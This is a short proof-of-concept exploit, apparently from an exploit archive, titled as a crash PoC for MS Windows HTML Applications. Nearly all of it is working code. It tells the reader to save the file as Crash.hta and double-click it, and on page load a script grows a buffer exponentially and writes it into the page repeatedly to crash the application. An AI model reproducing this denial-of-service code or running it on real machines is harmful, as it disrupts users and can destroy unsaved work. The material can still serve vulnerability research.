/*
#[+] Author: Mohammad Reza Espargham
#[+] Title: MS Windows HTA (HTML Aplication) - Crash PoC
#[+] Date: 19-05-2015
#[+] Tested on: Win7
dash>
save below code as Crash.hta file and Double Click on it ;) Crash...
*/
<html>
<title>Mohammad Reza Espargham</title>
</br>
<body onload="javascript:ReZa();"></body>
<script>
function ReZa() {
var buffer = '\x43';
var buffer1 = '\x42';
var buffer2 = '\x41';
for (i =0;i<956;i++) {
buffer+=buffer+'\x42';
document.write('<>'+buffer+buffer1+buffer2);
}}
</script>
</html>